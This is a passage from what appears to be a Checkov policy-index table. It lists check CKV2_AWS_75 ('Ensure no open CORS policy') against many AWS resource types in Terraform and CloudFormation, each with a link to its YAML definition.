[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3405 | CKV2_AWS_75 | resource | aws_dynamodb_table_item | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3406 | CKV2_AWS_75 | resource | aws_dynamodb_table_item | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3407 | CKV2_AWS_75 | resource | aws_dynamodb_table_replica | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3408 | CKV2_AWS_75 | resource | aws_dynamodb_table_replica | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3409 | CKV2_AWS_75 | resource | aws_dynamodb_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3410 | CKV2_AWS_75 | resource | aws_dynamodb_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3411 | CKV2_AWS_75 | resource | aws_ebs_default_kms_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3412 | CKV2_AWS_75 | resource | aws_ebs_default_kms_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3413 | CKV2_AWS_75 | resource | aws_ebs_encryption_by_default | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3414 | CKV2_AWS_75 | resource | aws_ebs_encryption_by_default | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3415 | CKV2_AWS_75 | resource | aws_ebs_fast_snapshot_restore | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3416 | CKV2_AWS_75 | resource | aws_ebs_fast_snapshot_restore | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3417 | CKV2_AWS_75 | resource | aws_ebs_snapshot | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3418 | CKV2_AWS_75 | resource | aws_ebs_snapshot | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3419 | CKV2_AWS_75 | resource | aws_ebs_snapshot_block_public_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3420 | CKV2_AWS_75 | resource | aws_ebs_snapshot_block_public_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3421 | CKV2_AWS_75 | resource | aws_ebs_snapshot_copy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3422 | CKV2_AWS_75 | resource | aws_ebs_snapshot_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3423 | CKV2_AWS_75 | resource | aws_ebs_snapshot_import | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3424 | CKV2_AWS_75 | resource | aws_ebs_snapshot_import | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3425 | CKV2_AWS_75 | resource | aws_ebs_volume | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3426 | CKV2_AWS_75 | resource | aws_ebs_volume | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3427 | CKV2_AWS_75 | resource | aws_ec2_availability_zone_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3428 | CKV2_AWS_75 | resource | aws_ec2_availability_zone_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3429 | CKV2_AWS_75 | resource | aws_ec2_capacity_block_reservation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3430 | CKV2_AWS_75 | resource | aws_ec2_capacity_block_reservation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3431 | CKV2_AWS_75 | resource | aws_ec2_capacity_reservation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3432 | CKV2_AWS_75 | resource | aws_ec2_capacity_reservation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3433 | CKV2_AWS_75 | resource | aws_ec2_carrier_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3434 | CKV2_AWS_75 | resource | aws_ec2_carrier_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3435 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_authorization_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3436 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_authorization_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3437 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3438 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3439 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_network_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3440 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_network_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3441 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_route | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3442 | CKV2_AWS_75 | resource | aws_ec2_client_vpn_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3443 | CKV2_AWS_75 | resource | aws_ec2_fleet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3444 | CKV2_AWS_75 | resource | aws_ec2_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3445 | CKV2_AWS_75 | resource | aws_ec2_host | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3446 | CKV2_AWS_75 | resource | aws_ec2_host | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3447 | CKV2_AWS_75 | resource | aws_ec2_image_block_public_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3448 | CKV2_AWS_75 | resource | aws_ec2_image_block_public_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3449 | CKV2_AWS_75 | resource | aws_ec2_instance_connect_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3450 | CKV2_AWS_75 | resource | aws_ec2_instance_connect_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3451 | CKV2_AWS_75 | resource | aws_ec2_instance_metadata_defaults | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3452 | CKV2_AWS_75 | resource | aws_ec2_instance_metadata_defaults | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3453 | CKV2_AWS_75 | resource | aws_ec2_instance_state | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3454 | CKV2_AWS_75 | resource | aws_ec2_instance_state | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3455 | CKV2_AWS_75 | resource | aws_ec2_local_gateway_route | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3456 | CKV2_AWS_75 | resource | aws_ec2_local_gateway_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3457 | CKV2_AWS_75 | resource | aws_ec2_local_gateway_route_table_vpc_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3458 | CKV2_AWS_75 | resource | aws_ec2_local_gateway_route_table_vpc_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3459 | CKV2_AWS_75 | resource | aws_ec2_managed_prefix_list | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3460 | CKV2_AWS_75 | resource | aws_ec2_managed_prefix_list | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3461 | CKV2_AWS_75 | resource | aws_ec2_managed_prefix_list_entry | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3462 | CKV2_AWS_75 | resource | aws_ec2_managed_prefix_list_entry | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3463 | CKV2_AWS_75 | resource | aws_ec2_network_insights_analysis | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3464 | CKV2_AWS_75 | resource | aws_ec2_network_insights_analysis | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3465 | CKV2_AWS_75 | resource | aws_ec2_network_insights_path | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3466 | CKV2_AWS_75 | resource | aws_ec2_network_insights_path | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3467 | CKV2_AWS_75 | resource | aws_ec2_serial_console_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3468 | CKV2_AWS_75 | resource | aws_ec2_serial_console_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3469 | CKV2_AWS_75 | resource | aws_ec2_subnet_cidr_reservation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3470 | CKV2_AWS_75 | resource | aws_ec2_subnet_cidr_reservation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3471 | CKV2_AWS_75 | resource | aws_ec2_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3472 | CKV2_AWS_75 | resource | aws_ec2_tag | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3473 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_filter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3474 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_filter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3475 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_filter_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3476 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_filter_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3477 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_session | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3478 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_session | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3479 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_target | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3480 | CKV2_AWS_75 | resource | aws_ec2_traffic_mirror_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3481 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3482 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3483 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_connect | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3484 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_connect | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3485 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_connect_peer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3486 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_connect_peer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3487 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_default_route_table_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3488 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_default_route_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3489 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_default_route_table_propagation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3490 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_default_route_table_propagation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3491 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3492 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3493 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_domain_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3494 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_domain_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3495 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_group_member | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3496 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_group_member | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3497 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_group_source | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3498 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_multicast_group_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3499 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_peering_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3500 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_peering_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3501 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_peering_attachment_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3502 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_peering_attachment_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3503 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_policy_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3504 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_policy_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3505 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_policy_table_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3506 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_policy_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3507 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_prefix_list_reference | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3508 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_prefix_list_reference | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3509 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3510 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3511 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3512 | CKV2_AWS_75 | resource | aws_ec2_transit_gateway_route_table | Ensure no open CORS policy | Cloudformation | 